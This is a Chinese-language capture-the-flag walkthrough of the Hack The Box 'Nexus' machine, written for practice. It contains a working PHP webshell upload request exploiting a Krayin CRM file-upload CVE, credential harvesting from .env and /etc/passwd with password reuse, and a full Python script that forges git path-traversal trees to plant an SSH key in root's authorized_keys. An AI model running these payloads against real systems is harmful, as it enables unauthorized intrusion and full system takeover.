Task1 How many open TCP ports are listening on Nexus?
2個
1 2 3 4 5 6 7 8 9 10 11 (base) PS C:\Users\1984l\OneDrive\桌面> nmap -sV -Pn 10.129.106.93 Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-02 23:08 +0800 Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 50.00% done ; ETC: 23:08 (0:00:07 remaining) Nmap scan report for 10.129.106.93 Host is up (1.1s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.24.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Task2 What is the hiring manager’s full email address?
j.matthew@nexus.htb
Task3 What is the name of the additional subdomain hosting the Git service discovered during enumeration of nexus.htb?
hint: Enumerate the virtual hosts exposed by the web application to find one that hosts a self-managed Git service.
先在ubuntu上加上nexus的host , 解決重定向問題:
加上:
dirsearch沒掃出什麼東西 , 鼠鼠看了官方wp是用fuff來掃前綴 , 先下載bitquark-subdomains-top100000.txt 是 SecLists 裡常見的子網域字典
apt install :
1 2 sudo apt updatesudo apt install seclists
git clone :
1 2 cd ~git clone https://github.com/danielmiessler/SecLists.git
子網域放在 /SecLists/Discovery/DNS
其實我不是很懂為什麼要fuzz前綴 , 可能是網站首頁沒東西,就開始找同一台伺服器上還藏了哪些網站
然後是用ffuf來測試一下: -fw 4 是过滤4 指沒用的結果。
1 ffuf -w ~/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -u http://nexus.htb/ -H "Host: FUZZ.nexus.htb" -fw 4
可以看見還有git 是200的 , 鼠鼠上gitea看看 , 在/etc/hosts加上 git.nexus.htb , 這樣:
window都加上(略看(0x0)[https://ghsc223311.github.io/ghsc_ovo_0721/HTB-0x0-%E9%97%9C%E6%96%BC%E4%B8%80%E4%BA%9B%E5%95%8F%E9%A1%8C/] ): 再加上billing的 , (圖中略了)
答案是git。
Task4 What is the DB_PASSWORD discovered while enumerating the exposed repository?
找到了:
password有可能在.env上:
找到了git的提交記錄:
1 2 3 4 5 6 DB_HOST=krayin-mysql DB_PORT=3306 DB_DATABASE=krayin DB_USERNAME=krayin DB_PASSWORD=N27xh!!2ucY04 MAIL_FROM_ADDRESS=laravel@krayincrm.com
Task5 What version of Krayin CRM is running on the billing subdomain?
hint : After authentication, enumerate the application for the running version.
Krayin是在billing上的 ,
鼠鼠在這卡了很久 , 一直不知道原來用錯email了 , 一直以為是laravel@krayincrm.com (是系統寄信時顯示的寄件者地址) , 但經GPT6大人的引導發現是之前一開始的emal , j.matthew@nexus.htb
可以在Dashboard上看到: version 2.2.0
Task6 What CVE affects Krayin CRM version 2.2.0, allowing unrestricted PHP file upload leading to remote code execution?
CVE-2026-38526 :
是一個經過身份驗證的任意檔案上傳漏洞,可直接導致遠端程式碼執行。它通常與CWE-434(不受限制地上傳危險類型的檔案)相對應。
漏洞端點:
POST /admin/tinymce/upload
此介面接受媒體上傳,以便在管理介面中進行富文本編輯。核心問題在於,據報告,伺服器端邏輯沒有強制執行嚴格的安全文件類型允許列表,並將上傳的文件儲存在可透過 HTTP 存取的位置。
這一點至關重要,因為當伺服器能夠解析上傳的內容時,上傳行為就會變得危險。例如,攻擊者可以上傳PHP文件,然後直接請求該文件,導致伺服器執行其中的程式碼。
CVE_link
Task7 What is the password for jones discovered during post-exploitation?
Enumerate configuration files and look for reused credentials.
可以在github上找一找有沒有相關的poc , CVE-2026-38526_poc
用BP來抓一下包: 記得改回php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 POST /admin/tinymce/upload HTTP/1.1 Host: billing.nexus.htb Accept-Language: zh-TW,zh;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDy7zFspCLuHtHMsE Accept: */* Origin: http://billing.nexus.htb Referer: http://billing.nexus.htb/admin/mail/inbox Accept-Encoding: gzip, deflate, br Cookie: XSRF-TOKEN=eyJpdiI6ImZEWDlaeFhiU0wwOWw3VVE2Qy9aNkE9PSIsInZhbHVlIjoiS1FENTVHNkZWbGJMbzlGdEFZMUtyUks5bGxsVnRHcTNFa3ZydHg2K3NvVngyRzhSaVB2TmdsYjdLY1lyaFpodnZvaWVUYndqaE14cG1YUWtkYzZaM0NFWFdtYk9GdC8yZDRhQVNLdDlGekd5ejZSRnVmRTNpQk1xelRpNEpsOVIiLCJtYWMiOiI5OGZjOWU0ZDBjMmRkM2I0MjQwZTg1Y2NiOWYyYzYxODZjNmFhOGEyM2E5ZmFiZmI1ODk3OTM5NjNkYzlmOTVmIiwidGFnIjoiIn0%3D; krayin_crm_session=eyJpdiI6IldBM1VobEE5REZnclBsYnBEOUMycHc9PSIsInZhbHVlIjoiZStFRzVnQjc4V05MUERRSkd3ZGtzYTZnbzM2V2luSnpiM3Y4OFBOVWFrdFk4cXowOFVEQ01NMHkzcHZsUkJvZ3FWM3IrQ3JXWXZRQlFsZGRjRE5HRzBwQW9oWFBXNGNUYVV0eTRjRC9naFd4YWVQM1F6aDR5OWJ6ZEQxWTZKczQiLCJtYWMiOiI4YTRmMzRmMTkzOGMxZGRmZDVlZWRlMDczZTYxZTNhNDcyYTBiNDk5NTA0MmY5ZDM2YzRlN2E3NjE1ZjhjZjZmIiwidGFnIjoiIn0%3D Connection: keep-alive ------WebKitFormBoundaryDy7zFspCLuHtHMsE Content-Disposition: form-data; name="_token" js5e3p5Y3fVUj9h1eD2uG2iHQWudsxs5RIVc8qbg ------WebKitFormBoundaryDy7zFspCLuHtHMsE Content-Disposition: form-data; name="file"; filename="blobid1788622975334.php" Content-Type: image/jpeg <?php system($_GET['cmd']); ?> ------WebKitFormBoundaryDy7zFspCLuHtHMsE--
回傳了:
1 2 3 4 5 { "location" : "http:\/\/billing.nexus.htb\/storage\/tinymce\/a03547b4e118247261ab1271fafdf861.php" }
/storage/tinymce/a03547b4e118247261ab1271fafdf861.php
http://billing.nexus.htb/storage/tinymce/c8e7d65c13daadc5b00d38bf1ace1061.php
沒回顯 , 找一個好用的poc , poc
http://billing.nexus.htb/storage/tinymce/f74a8fb492bf25d11e285f97b77f1124.php
反彈shell:
彈不了 , 沒改ip port , 改一下: 參考一下
發多一下:
http://billing.nexus.htb/storage/tinymce/f07fa8b85cdd3a1bf4dd736b41c88ce4.php
連進去辣!!!!!
1 2 3 4 5 6 Linux nexus 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux 16:16:14 up 3:05, 0 user, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
在window上反彈的shell有問題 , 改用wsl 來反彈 , 有問題可以參考一下0x0
http://billing.nexus.htb/storage/tinymce/ae5e8730a56395c1a28ffcf8101db8c9.php
可以參考0x0上的把4455 ->4455:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $ script /dev/null -c /bin/bash Script started, output log file is '/dev/null' . www-data@nexus:/home$ cd ~/krayin cd ~/krayinwww-data@nexus:~/krayin$ ls ls CODE_OF_CONDUCT.md artisan database phpunit.xml storage LICENSE bootstrap example.txt pint.json tests README.md composer.json lang public vendor UPGRADE.md composer.lock package.json resources vite.config.js app config packages routes www-data@nexus:~/krayin$ ls -a ls -a. CODE_OF_CONDUCT.md composer.json packages tests .. LICENSE composer.lock phpunit.xml vendor .editorconfig README.md config pint.json vite.config.js .env UPGRADE.md database public .env.example app example.txt resources .gitattributes artisan lang routes .gitignore bootstrap package.json storage
找到.env了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 APP_NAME="Krayin CRM" APP_ENV=local APP_KEY=base64:n4swv+4YcBtCr1OPHBe69GxK06/X1y1vCQU1SIMIC7Q= APP_DEBUG=true APP_URL=http://billing.nexus.htb APP_TIMEZONE=Asia/Kolkata APP_LOCALE=en APP_CURRENCY=USD VITE_HOST= VITE_PORT= LOG_CHANNEL=stack LOG_LEVEL=debug DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=krayin DB_USERNAME=krayin DB_PASSWORD=y27xb3ha!!74GbR DB_PREFIX= BROADCAST_DRIVER=log CACHE_DRIVER=file QUEUE_CONNECTION=sync SESSION_DRIVER=file SESSION_LIFETIME=120 MEMCACHED_HOST=127.0.0.1 REDIS_HOST=127.0.0.1 REDIS_PASSWORD=null REDIS_PORT=6379 MAIL_MAILER=smtp MAIL_HOST=mailhog MAIL_PORT=1025 MAIL_USERNAME=null MAIL_PASSWORD=null MAIL_ENCRYPTION=null MAIL_FROM_ADDRESS=laravel@krayincrm.com MAIL_FROM_NAME="${APP_NAME}" MAIL_DOMAIN=webkul.com MAIL_RECEIVER_DRIVER=sendgrid IMAP_HOST=imap.example.com IMAP_PORT=993 IMAP_ENCRYPTION=ssl IMAP_VALIDATE_CERT=true IMAP_USERNAME=your_username IMAP_PASSWORD=your_password AWS_ACCESS_KEY_ID= AWS_SECRET_ACCESS_KEY= AWS_DEFAULT_REGION=us-east-1 AWS_BUCKET= PUSHER_APP_ID= PUSHER_APP_KEY= PUSHER_APP_SECRET= PUSHER_APP_CLUSTER=mt1 MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}" MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"
答案是: y27xb3ha!!74GbR
1 2 DB_USERNAME=krayin DB_PASSWORD=y27xb3ha!!74GbR
看看/etc/passwd 有什麼user
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 cat /etc/passwdroot:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync :x:4:65534:sync :/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin messagebus:x:101:102::/nonexistent:/usr/sbin/nologin systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin pollinate:x:102:1::/var/cache/pollinate:/bin/false polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin syslog:x:103:104::/nonexistent:/usr/sbin/nologin uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin sshd:x:109:65534::/run/sshd:/usr/sbin/nologin _laurel:x:999:988::/var/log/laurel:/bin/false jones:x:1000:1000:,,,:/home/jones:/bin/bash mysql:x:110:111:MySQL Server,,,:/nonexistent:/bin/false git:x:111:112:Git Version Control,,,:/home/git:/bin/bash dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false www-data@nexus:~/krayin$
Task7 可以看見jones , 以jones為目標:
1 2 3 4 5 6 7 8 9 10 11 12 www-data@nexus:~/krayin$ ssh jones@10.129.109.158 ssh jones@10.129.109.158 The authenticity of host '10.129.109.158 (10.129.109.158)' can't be established. ED25519 key fingerprint is SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes yes Could not create directory ' /var/www/.ssh' (Permission denied). Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts). jones@10.129.109.158' s password: y27xb3ha!!74GbRWelcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)
找一找user.txt:
1 2 3 jones@nexus:~$ cat user.txt cat user.txta257cee3feab86ca1bd2cfba87706c8b
user flag : a257cee3feab86ca1bd2cfba87706c8b
Task9 What systemd timer triggers the template synchronization service?
介紹
下一步就是要提權了 , 先在systemctl timer上看看有沒有什麼定時任務!
可以用查看: systemctl list-timers --all --no-pager --full
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 jones@nexus:~$ systemctl list-timers --all --no-pager --full systemctl list-timers --all --no-pager --full NEXT LEFT LAST PASSED UNIT ACTIVATES Sun 2026-09-06 08:02:12 UTC 33s Sun 2026-09-06 08:01:12 UTC 26s ago gitea-template-sync.timer gitea-template-sync.service Sun 2026-09-06 08:05:09 UTC 3min 29s Sun 2026-09-06 07:00:27 UTC 1h 1min ago fwupd-refresh.timer fwupd-refresh.service Sun 2026-09-06 08:09:00 UTC 7min Sun 2026-09-06 07:39:01 UTC 22min ago phpsessionclean.timer phpsessionclean.service Sun 2026-09-06 08:10:00 UTC 8min Sun 2026-09-06 08:00:01 UTC 1min 38s ago sysstat-collect.timer sysstat-collect.service Sun 2026-09-06 09:15:42 UTC 1h 14min Mon 2025-03-31 16:38:00 UTC - apt-daily.timer apt-daily.service Sun 2026-09-06 12:39:36 UTC 4h 37min Sun 2026-09-06 07:11:36 UTC 50min ago motd-news.timer motd-news.service Sun 2026-09-06 14:06:10 UTC 6h Thu 2026-04-23 18:33:27 UTC - man-db.timer man-db.service Mon 2026-09-07 00:00:00 UTC 15h Sun 2026-09-06 04:44:51 UTC 3h 16min ago dpkg-db-backup.timer dpkg-db-backup.service Mon 2026-09-07 00:00:00 UTC 15h Sun 2026-09-06 04:44:51 UTC 3h 16min ago logrotate.timer logrotate.service Mon 2026-09-07 00:07:00 UTC 16h - - sysstat-summary.timer sysstat-summary.service Mon 2026-09-07 01:29:26 UTC 17h Sun 2026-09-06 06:01:56 UTC 1h 59min ago fstrim.timer fstrim.service Mon 2026-09-07 04:49:50 UTC 20h Sun 2026-09-06 04:49:50 UTC 3h 11min ago update-notifier-download.timer update-notifier-download.service Mon 2026-09-07 04:59:50 UTC 20h Sun 2026-09-06 04:59:50 UTC 3h 1min ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service Mon 2026-09-07 06:00:00 UTC 21h Sun 2026-09-06 06:46:08 UTC 1h 15min ago apt-daily-upgrade.timer apt-daily-upgrade.service Mon 2026-09-07 17:43:03 UTC 1 day 9h Mon 2026-03-23 10:50:29 UTC - update-notifier-motd.timer update-notifier-motd.service Sun 2026-09-13 03:10:11 UTC 6 days Sun 2026-09-06 04:45:04 UTC 3h 16min ago e2scrub_all.timer e2scrub_all.service - - - - apport-autoreport.timer apport-autoreport.service - - - - snapd.snap-repair.timer snapd.snap-repair.service - - - - ua-timer.timer ua-timer.service 19 timers listed.
有一個一分鐘的gitea template sync.service ,
一會上gitea去看看
答案是: gitea-template-sync.service
last Task Submit the flag located in the root user’s home directory.
用這腳本的對象是root :
1 2 3 4 systemctl cat gitea-template-sync.timer systemctl cat gitea-template-sync.service ls -l /etc/systemd/system/gitea-template-sync.* ls -l /usr/lib/systemd/system/gitea-template-sync.*
去etc上找找gitera :
沒有w的限權 , 要root
1 2 3 4 5 6 7 8 9 10 11 jones@nexus:/etc/gitea$ ls ls app.ini template-sync.conf template-sync.py jones@nexus:/etc/gitea$ ls -la ls -latotal 24 drwxr-xr-x 2 root git 4096 May 12 18:37 . drwxr-xr-x 114 root root 4096 May 12 12:21 .. -rw-r----- 1 git git 1586 May 12 18:37 app.ini -rw-r----- 1 git git 89 May 11 16:50 template-sync.conf -rw-r--r-- 1 git git 4184 May 11 18:47 template-sync.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 import osimport sysimport jsonimport subprocessimport timeimport urllib.requestGITEA_URL = "http://localhost:3000" REPO_ROOT = "/var/lib/gitea/data/gitea-repositories" STAGING_DIR = "/home/git/template-staging" LOG_FILE = "/var/log/template-sync.log" def log (msg ): ts = time.strftime("%Y-%m-%d %H:%M:%S" ) line = "[%s] %s" % (ts, msg) print (line, flush=True ) try : os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True ) with open (LOG_FILE, 'a' ) as f: f.write(line + '\n' ) except : pass def load_config (): config = {} for path in ['/etc/gitea/template-sync.conf' , '/opt/forge/app/.env' ]: try : with open (path) as f: for line in f: line = line.strip() if line and not line.startswith('#' ) and '=' in line: k, v = line.split('=' , 1 ) config[k.strip()] = v.strip() except : pass return config def get_token (): cfg = load_config() return cfg.get('GITEA_API_TOKEN' ) def get_template_repos (token ): url = "%s/api/v1/repos/search?limit=50" % GITEA_URL req = urllib.request.Request(url, headers={ 'Authorization' : 'token %s' % token }) try : with urllib.request.urlopen(req) as resp: data = json.loads(resp.read()) repos = data.get('data' , data) if isinstance (data, dict ) else data return [r for r in repos if r.get('template' , False )] except Exception as e: log("API error: %s" % e) return [] def sync_template (repo_info ): owner = repo_info['owner' ]['login' ] name = repo_info['name' ].lower() bare_path = os.path.join(REPO_ROOT, owner, "%s.git" % name) stage_path = os.path.join(STAGING_DIR, owner, name) if not os.path.isdir(bare_path): log(" repo not found: %s" % bare_path) return try : GIT = ['git' , '-c' , 'safe.directory=*' ] result = subprocess.run( GIT + ['ls-tree' , '-r' , 'HEAD' ], cwd=bare_path, capture_output=True , text=True , timeout=10 ) if result.returncode != 0 : log(" ls-tree failed: %s" % result.stderr.strip()) return except Exception as e: log(" ls-tree error: %s" % e) return entries = [] for line in result.stdout.strip().split('\n' ): if not line: continue parts = line.split('\t' , 1 ) if len (parts) != 2 : continue meta, filepath = parts mode, objtype, objhash = meta.split() if objtype == 'blob' : entries.append((mode, objhash, filepath)) if not entries: log(" no files in template" ) return for mode, objhash, filepath in entries: target = os.path.join(stage_path, filepath) target_dir = os.path.dirname(target) try : os.makedirs(target_dir, exist_ok=True ) GIT = ['git' , '-c' , 'safe.directory=*' ] cat_result = subprocess.run( GIT + ['cat-file' , 'blob' , objhash], cwd=bare_path, capture_output=True , timeout=10 ) if cat_result.returncode != 0 : continue with open (target, 'wb' ) as f: f.write(cat_result.stdout) if mode == '100755' : os.chmod(target, 0o755 ) else : os.chmod(target, 0o644 ) log(" synced: %s" % filepath) except Exception as e: log(" error syncing %s: %s" % (filepath, e)) def main (): log("Template sync starting" ) token = get_token() if not token: log("No API token found" ) sys.exit(1 ) templates = get_template_repos(token) log("Found %d template repo(s)" % len (templates)) for repo in templates: name = repo['full_name' ] log("Syncing template: %s" % name) sync_template(repo) log("Template sync complete" ) if __name__ == '__main__' : main()
它會複製所有範本倉庫,
並將它們的檔案內容同步到 /home/git/template-staging/<owner>/<repo>/ 目錄。
它處理來自 git ls-tree 的檔案路徑的方式——它直接對原始檔案路徑使用 os.path.join(),而沒有對目錄遍歷序列進行清理。
登入gitea:
1 2 j.matthew@nexus.htb y27xb3ha!!74GbR
create a new repository for rce : 儲存庫就叫rce吧ww
老實說這種提權我還是第一次見 , 沒學過這種。
大概是利用ssh , 把攻击者的公钥写入 /root/.ssh/authorized_keys,这样攻击者就能直接免密登录 root。
先在生成ssh公金鑰:
1 ssh-keygen -t ed25519 -f /tmp/.k -N ''
已經建立了rce的庫了, 參考一下了官方的腳本:
1 2 3 4 $ cd /tmp $ git -c http.extraHeader="Host: git.nexus.htb" clone http://jones:'y27xb3ha!!74GbR'@127.0.0.1/jones/rce.git $ cd rce $ touch README.md
build.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import hashlib,zlib,os,subprocess,sys,timedef write_obj (data,t ):h=("%s %d" %(t,len (data))).encode()+b"\x00" s=h+data sha=hashlib.sha1(s).hexdigest() d=os.path.join(".git" ,"objects" ,sha[:2 ]) os.makedirs(d,exist_ok=True ) p=os.path.join(d,sha[2 :]) if not os.path.exists(p):open (p,"wb" ).write(zlib.compress(s))return shadef entry (mode,name,sha ):return ("%s %s" %(mode,name)).encode()+b"\x00" +bytes .fromhex(sha)if not os.path.isdir(".git" ):print ("Run inside git repo" );sys.exit(1 )r=subprocess.run(["cat" ,"/tmp/.k.pub" ],capture_output=True ,text=True ) if r.returncode!=0 :print ("ssh-keygen -t ed25519 -f /tmp/.k -N ''" );sys.exit(1 )key=r.stdout.strip()+"\n" blob=write_obj(key.encode(),"blob" ) readme=write_obj(b"# Template\n" ,"blob" ) ssh_t=write_obj(entry("100644" ,"authorized_keys" ,blob),"tree" ) cur=write_obj(entry("40000" ,".ssh" ,ssh_t),"tree" ) fir=write_obj(entry("40000" ,"root" ,cur),"tree" ) for i in range (4 ):fir=write_obj(entry("40000" ,".." ,fir),"tree" ) root=write_obj(entry("100644" ,"README.md" ,readme)+entry("40000" ,".." ,fir),"tree" ) ts=int (time.time()) c="tree %s\nauthor x <x@x> %d +0000\ncommitter x <x@x> %d +0000\n\ninit\n" %(root,ts,ts) sha=write_obj(c.encode(),"commit" ) os.makedirs(os.path.join(".git" ,"refs" ,"heads" ),exist_ok=True ) open (os.path.join(".git" ,"refs" ,"heads" ,"main" ),"w" ).write(sha+"\n" )print ("Done: " +sha)
用cat ><<加上去:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 cat > /tmp/rce/build.py << 'EOF' import hashlib, zlib, os, subprocess, sys, time def write_obj(data, t): h = ("%s %d" % (t, len(data))).encode() + b"\x00" s = h + data sha = hashlib.sha1(s).hexdigest() d = os.path.join(".git" , "objects" , sha[:2]) os.makedirs(d, exist_ok=True) p = os.path.join(d, sha[2:]) if not os.path.exists(p): open(p, "wb" ).write(zlib.compress(s)) return sha def entry(mode, name, sha): return ("%s %s" % (mode, name)).encode() + b"\x00" + bytes.fromhex(sha) if not os.path.isdir(".git" ): print ("Run inside git repo" ) sys.exit(1) r = subprocess.run(["cat" , "/tmp/.k.pub" ], capture_output=True, text=True) if r.returncode != 0: print ("ssh-keygen -t ed25519 -f /tmp/.k -N ''" ) sys.exit(1) key = r.stdout.strip() + "\n" blob = write_obj(key.encode(), "blob" ) readme = write_obj(b"# Template\n" , "blob" ) ssh_t = write_obj(entry("100644" , "authorized_keys" , blob), "tree" ) cur = write_obj(entry("40000" , ".ssh" , ssh_t), "tree" ) fir = write_obj(entry("40000" , "root" , cur), "tree" ) for i in range(4): fir = write_obj(entry("40000" , ".." , fir), "tree" ) root = write_obj(entry("100644" , "README.md" , readme) + entry("40000" , ".." , fir), "tree" ) ts = int(time.time()) c = "tree %s\nauthor x <x@x> %d +0000\ncommitter x <x@x> %d +0000\ninit\n" % (root, ts, ts) sha = write_obj(c.encode(), "commit" ) os.makedirs(os.path.join(".git" , "refs" , "heads" ), exist_ok=True) open(os.path.join(".git" , "refs" , "heads" , "main" ), "w" ).write(sha + "\n" ) print ("Done: " + sha)EOF
該腳本創建了一個 Git 樹結構,其中檔案路徑解析為
../../../../../root/.ssh/authorized_keys。循環創建了 4 層 .. 樹,根樹
新增了第 5 個 .. 條目,因此我們剛好需要遍歷 3 層才能從 /home/git/template-
staging/jones/rce/ 逃到 /root/
1 2 $ python3 build.py $ git -c http.extraHeader="Host: git.nexus.htb" push -u origin main --force
現在等1min , 監控日誌以確認它是否從 template-sync.py 中指定的位置運行。
1 $ cat /var/log/template-sync.log
可以ssh root了
1 2 $ ssh -i /tmp/.k root@127.0.0.1 $ cat /root/root.txt